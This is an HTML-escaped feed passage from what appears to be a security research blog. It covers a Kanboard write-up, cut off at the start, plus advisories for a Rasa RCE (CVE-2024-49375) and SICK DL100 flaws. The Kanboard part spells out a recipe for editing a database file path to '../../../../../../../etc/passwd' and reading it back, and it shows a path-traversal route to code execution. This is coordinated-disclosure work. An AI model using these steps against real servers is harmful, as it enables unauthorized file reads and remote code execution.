    &lt;span class=&quot;nv&quot;&gt;$file_id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getIntegerParam&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;file_id&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    
    &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We see that this function parses the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;project_id&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file_id&lt;/code&gt; parameter values that we already saw in the route definition of download URLs. The function essentially parses the two values from the URL, performs a SQL select on the attachments and returns an array with the data, collected from the SQL entry. No path sanitization that we can see so far!&lt;/p&gt;

&lt;p&gt;So lets check the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;output()&lt;/code&gt; function of the objectStorage, which is defined in &lt;a href=&quot;https://github.com/kanboard/kanboard/blob/v1.2.41/app/Core/ObjectStorage/FileStorage.php#L75&quot;&gt;FileStorage.php&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;DIRECTORY_SEPARATOR&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;file_exists&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ObjectStorageException&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;File not found: &apos;&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;nb&quot;&gt;readfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The function retrieves the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$key&lt;/code&gt; parameter, which in this case is a relative path from the SQLite database, checks the file’s existence and returns its content. No checks - this smells like a arbitrary file read if we are able to modify the path successfully.&lt;/p&gt;

&lt;p&gt;Since we are certain that the application is vulnerable to an arbitrary file read, we immediately test it out:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;We download the database&lt;/li&gt;
  &lt;li&gt;Decompress it via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gzip -d db.sqlite.gz&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Open it in a SQL browser and go to table &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;project_has_files&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;For one of the already uploaded files, we modify the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;path&lt;/code&gt; to something we want to read &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;../../../../../../../etc/passwd&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Commit our SQL changes and save the file&lt;/li&gt;
  &lt;li&gt;Compress it again with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gzip db.sqlite&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Upload it to the server&lt;/li&gt;
  &lt;li&gt;Download the modified file via the web ui&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;And what we get is:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/kanboard/passwd.png&quot; alt=&quot;/etc/passwd&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Hurray! We are able to read arbitrary files from the server - further a “referenced” file can be deleted (if Kanboard has sufficient permissions) via the web ui.
This vulnerability has been assigned CVE-2024-51747 - reported via &lt;a href=&quot;https://github.com/kanboard/kanboard/security/advisories/GHSA-78pf-vg56-5p8v&quot;&gt;GHSA-78pf-vg56-5p8v&lt;/a&gt;.&lt;/p&gt;

&lt;h5 id=&quot;code-exec&quot;&gt;code &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exec&lt;/code&gt;&lt;/h5&gt;

&lt;p&gt;File reads are nice - but we prefer to have code execution on the target. So we still decided to look deeper.
When reviewing PHP code it’s always a good start to check for the known dangerous php functions assembled &lt;a href=&quot;https://gist.github.com/mccabe615/b0907514d34b2de088c4996933ea1720&quot;&gt;in this great collection&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ack &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;system&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\s&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--php&lt;/span&gt;
ServiceProvider/LoggingProvider.php
42:  &lt;span class=&quot;nv&quot;&gt;$driver&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; new System&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ack &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;shell_exec&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\s&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--php&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Unfortunately, we have no results except false positives in our source code, when we grepped for command execution functions.&lt;/p&gt;

&lt;p&gt;However, one result with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;require&lt;/code&gt; statement looks interesting.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ack &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;require&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\s&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--php&lt;/span&gt;
app/Core/Translator.php
176:            self::&lt;span class=&quot;nv&quot;&gt;$locales&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; array_merge&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;self::&lt;span class=&quot;nv&quot;&gt;$locales&lt;/span&gt;, require&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;require&lt;/code&gt; is a PHP language statement to include other files, which leads directly to RCE, if the file is controllable.
Having a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$filename&lt;/code&gt; variable - that could be controllable by us - looks interesting.
Let’s see where &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$filename&lt;/code&gt; comes from and which value it has.
It is defined in &lt;a href=&quot;https://github.com/kanboard/kanboard/blob/v1.2.41/app/Core/Translator.php#L173&quot;&gt;Translator.php&lt;/a&gt; in the load() function.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;load&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$language&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getDefaultFolder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;implode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;DIRECTORY_SEPARATOR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$language&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;translations.php&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;file_exists&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$locales&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;array_merge&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$locales&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;load()&lt;/code&gt; function seems to be called from &lt;a href=&quot;https://github.com/kanboard/kanboard/blob/v1.2.41/app/Model/LanguageModel.php#L214&quot;&gt;LanguageModel.php&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ack &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;load&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\s&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--php&lt;/span&gt;
Model/LanguageModel.php
214:    Translator::load&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;-&amp;gt;getCurrentLanguage&lt;span class=&quot;o&quot;&gt;())&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And it depends on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getCurrentLanguage()&lt;/code&gt; from the same class.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getCurrentLanguage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;userSession&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getLanguage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;configModel&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;application_language&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;en_US&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;cd&quot;&gt;/**
 * Load translations for the current language
 *
 * @access public
 */&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;loadCurrentLanguage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;Translator&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;load&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getCurrentLanguage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Do you spot something fishy? Maybe not, since we haven’t explained it yet - but &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$this-&amp;gt;configModel-&amp;gt;get(&apos;application_language&apos;, &apos;en_US&apos;);&lt;/code&gt; reads a configuration value from the SQLite &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;settings&lt;/code&gt; table. In particular, it reads the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;application_language&lt;/code&gt; entry or defaults to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;en_US&lt;/code&gt;.
Since we already inspected all further handling of the the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;application_language&lt;/code&gt;  value we can conclude that this fields leads to a constrained RCE on the server!&lt;/p&gt;

&lt;p&gt;If we set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;application_language&lt;/code&gt; to an arbitrary path via path traversal, the value will be used to construct the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$filename&lt;/code&gt; path, which we saw before. 
However, at the end of the path, the code adds a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;translations.php&lt;/code&gt;. Meaning, if we are able to write a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;translations.php&lt;/code&gt; file anywhere on the server, where Kanboard can read it and modify the SQLite database accordingly, then we achieve code execution because Kanboard includes this file.&lt;/p&gt;

&lt;p&gt;We tried to abuse this, by uploading a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;translations.php&lt;/code&gt; file via Kanboard’s file attachments function, but the files are not saved with their original filename, but with a hash instead. This leaves us unlucky to abuse it all-at-once :S&lt;/p&gt;

&lt;p&gt;This vulnerability has been assigned CVE-2024-51748 - reported via &lt;a href=&quot;https://github.com/kanboard/kanboard/security/advisories/GHSA-jvff-x577-j95p&quot;&gt;GHSA-jvff-x577-j95p&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Last but not least, after reporting all vulnerabilities we noticed on retesting that we are still logged in in our testing instance after multiple days. How can this be?&lt;/p&gt;

&lt;p&gt;It turns out that the session invalidation was not working properly, thus keeping sessions alive for an indefinite time.
This vulnerability has been assigned CVE-2024-55603 - reported via &lt;a href=&quot;https://github.com/kanboard/kanboard/security/advisories/GHSA-gv5c-8pxr-p484&quot;&gt;GHSA-gv5c-8pxr-p484&lt;/a&gt; with additional details.&lt;/p&gt;

&lt;p&gt;These findings once again show the danger of default credentials, giving initial access, which than can be used to exploit a system.
Also it shows, that even configuration data cannot be trusted - user controllable input must be properly sanitized in all cases.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Timeline:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;2024-10-31:&lt;/strong&gt; Vulnerability &lt;a href=&quot;https://github.com/kanboard/kanboard/security/advisories/GHSA-78pf-vg56-5p8v&quot;&gt;CVE-2024-51747&lt;/a&gt; and &lt;a href=&quot;https://github.com/kanboard/kanboard/security/advisories/GHSA-jvff-x577-j95p&quot;&gt;CVE-2024-51748&lt;/a&gt; has been reported to the vendor.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-11-03:&lt;/strong&gt; Vendor has reported that the vulnerabilities will be fixed in next release.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-11-10:&lt;/strong&gt; Kanboard 1.2.42 has been released with both fixes.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-11-18:&lt;/strong&gt; Vulnerability &lt;a href=&quot;https://github.com/kanboard/kanboard/security/advisories/GHSA-gv5c-8pxr-p484&quot;&gt;CVE-2024-55603&lt;/a&gt; has been reported to the vendor.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-12-08:&lt;/strong&gt; Vendor has reported that the vulnerability will be fixed in next release.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-12-18:&lt;/strong&gt; Kanboard 1.2.43 has been released with the fix.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2025-05-08:&lt;/strong&gt; This blog post was published.&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  
  <entry>
    <title>Rasa (un)authenticated Remote Code Execution via remote model loading (CVE-2024-49375)</title>
    <link href="https://github.security.telekom.com/2025/04/rasa-unauthenticated-rce-cve-2024-49375.html"/>
    <id>https://github.security.telekom.com/2025/04/rasa-unauthenticated-rce-cve-2024-49375.html</id>
    <updated>2025-04-01T00:00:00+00:00</updated>
    <summary type="html">During an internal penetration test a product was checked which uses Rasa to build a conversational AI. A mixture of penetration testing and source code analysis led to the discovery of an (un)authenticated Remote Code Execution.</summary>
    <content type="html">&lt;p&gt;During an internal penetration test a product was checked which uses &lt;a href=&quot;https://rasa.com/&quot;&gt;Rasa&lt;/a&gt; to build a conversational AI. A mixture of penetration testing and source code analysis led to the discovery of an (un)authenticated Remote Code Execution.&lt;!--more--&gt;&lt;/p&gt;

&lt;h3 id=&quot;tldr&quot;&gt;TL;DR&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Which versions are affected?&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;rasa (pip) &amp;lt;3.6.21&lt;/li&gt;
  &lt;li&gt;rasa-pro (pip) &amp;lt;3.10.12, &amp;lt;3.9.16, &amp;lt;3.8.18&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Are fixed versions available?&lt;/strong&gt;&lt;br /&gt;
Yes, namely:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;rasa (pip) 3.6.21&lt;/li&gt;
  &lt;li&gt;rasa-pro (pip) 3.10.12, 3.9.16, 3.8.18&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Does Rasa need to be patched?&lt;/strong&gt;&lt;br /&gt;
Yes and as fast as possible due to its severity (critical, 9.1/10, CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H). Additional information on the fix and the mitigation advice can be found at &lt;a href=&quot;https://github.com/RasaHQ/rasa-pro-security-advisories/security/advisories/GHSA-cpv4-ggrr-7j9v&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The RCE vulnerability affects systems running Rasa as follows:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Default configuration: not affected by RCE&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rasa.com/docs/reference/api/pro/rasa-pro-rest-api/&quot;&gt;HTTP API enabled&lt;/a&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--enable-api&lt;/code&gt;): affected
    &lt;ul&gt;
      &lt;li&gt;No authentication method in use: &lt;strong&gt;unauthenticated RCE&lt;/strong&gt;&lt;/li&gt;
      &lt;li&gt;Token Based Auth: &lt;strong&gt;authenticated RCE&lt;/strong&gt;&lt;/li&gt;
      &lt;li&gt;JWT Based Auth: &lt;strong&gt;authenticated RCE&lt;/strong&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Is an exploit available?&lt;/strong&gt;&lt;br /&gt;
Yes, the exploit can be found at the end of the &lt;a href=&quot;/assets/advisories/Rasa_unauthenticated_RCE_CVE-2024-49375.pdf&quot;&gt;full advisory&lt;/a&gt; and &lt;a href=&quot;/assets/exploits/rasa/exploit.py&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Links:&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/RasaHQ/rasa-pro-security-advisories/security/advisories/GHSA-cpv4-ggrr-7j9v&quot;&gt;https://github.com/RasaHQ/rasa-pro-security-advisories/security/advisories/GHSA-cpv4-ggrr-7j9v&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/cve-2024-49375&quot;&gt;https://nvd.nist.gov/vuln/detail/cve-2024-49375&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Credits&lt;/strong&gt;&lt;br /&gt;
Julian Scheid (&lt;a href=&quot;mailto:julian.scheid@telekom.de&quot;&gt;julian.scheid@telekom.de&lt;/a&gt;)&lt;/p&gt;

&lt;h3 id=&quot;technical-deep-dive&quot;&gt;Technical deep dive&lt;/h3&gt;
&lt;p&gt;For those interested in taking a technical deep dive in how the vulnerability was discovered and how the exploit has been developed, reading the full advisory is highly recommended.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/advisories/Rasa_unauthenticated_RCE_CVE-2024-49375.pdf&quot;&gt;View the full advisory&lt;/a&gt;&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>Multiple critical vulnerabilities in SICK DL100-2xxxxxxx Products</title>
    <link href="https://github.security.telekom.com/2025/03/multiple-vulnerabilities-in-sick-dl100.html"/>
    <id>https://github.security.telekom.com/2025/03/multiple-vulnerabilities-in-sick-dl100.html</id>
    <updated>2025-03-14T00:00:00+00:00</updated>
    <summary type="html">Several vulnerabilities were discovered during testing of a DL100 device.</summary>
    <content type="html">&lt;p&gt;Several vulnerabilities were discovered during testing of a DL100 device.&lt;!--more--&gt;&lt;/p&gt;

&lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Product:&lt;/strong&gt; SICK DL100-2xxxxxxx&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Affected Version:&lt;/strong&gt; all firmware versions&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vulnerability Type:&lt;/strong&gt; Download of Code Without Integrity Check (CWE-494), Cleartext Transmission of Sensitive Information (CWE-319) and Use of Weak Hash (CWE-328)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Risk Level:&lt;/strong&gt; Critical&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor URL:&lt;/strong&gt; https://www.sick.com/de/de/&lt;/li&gt;
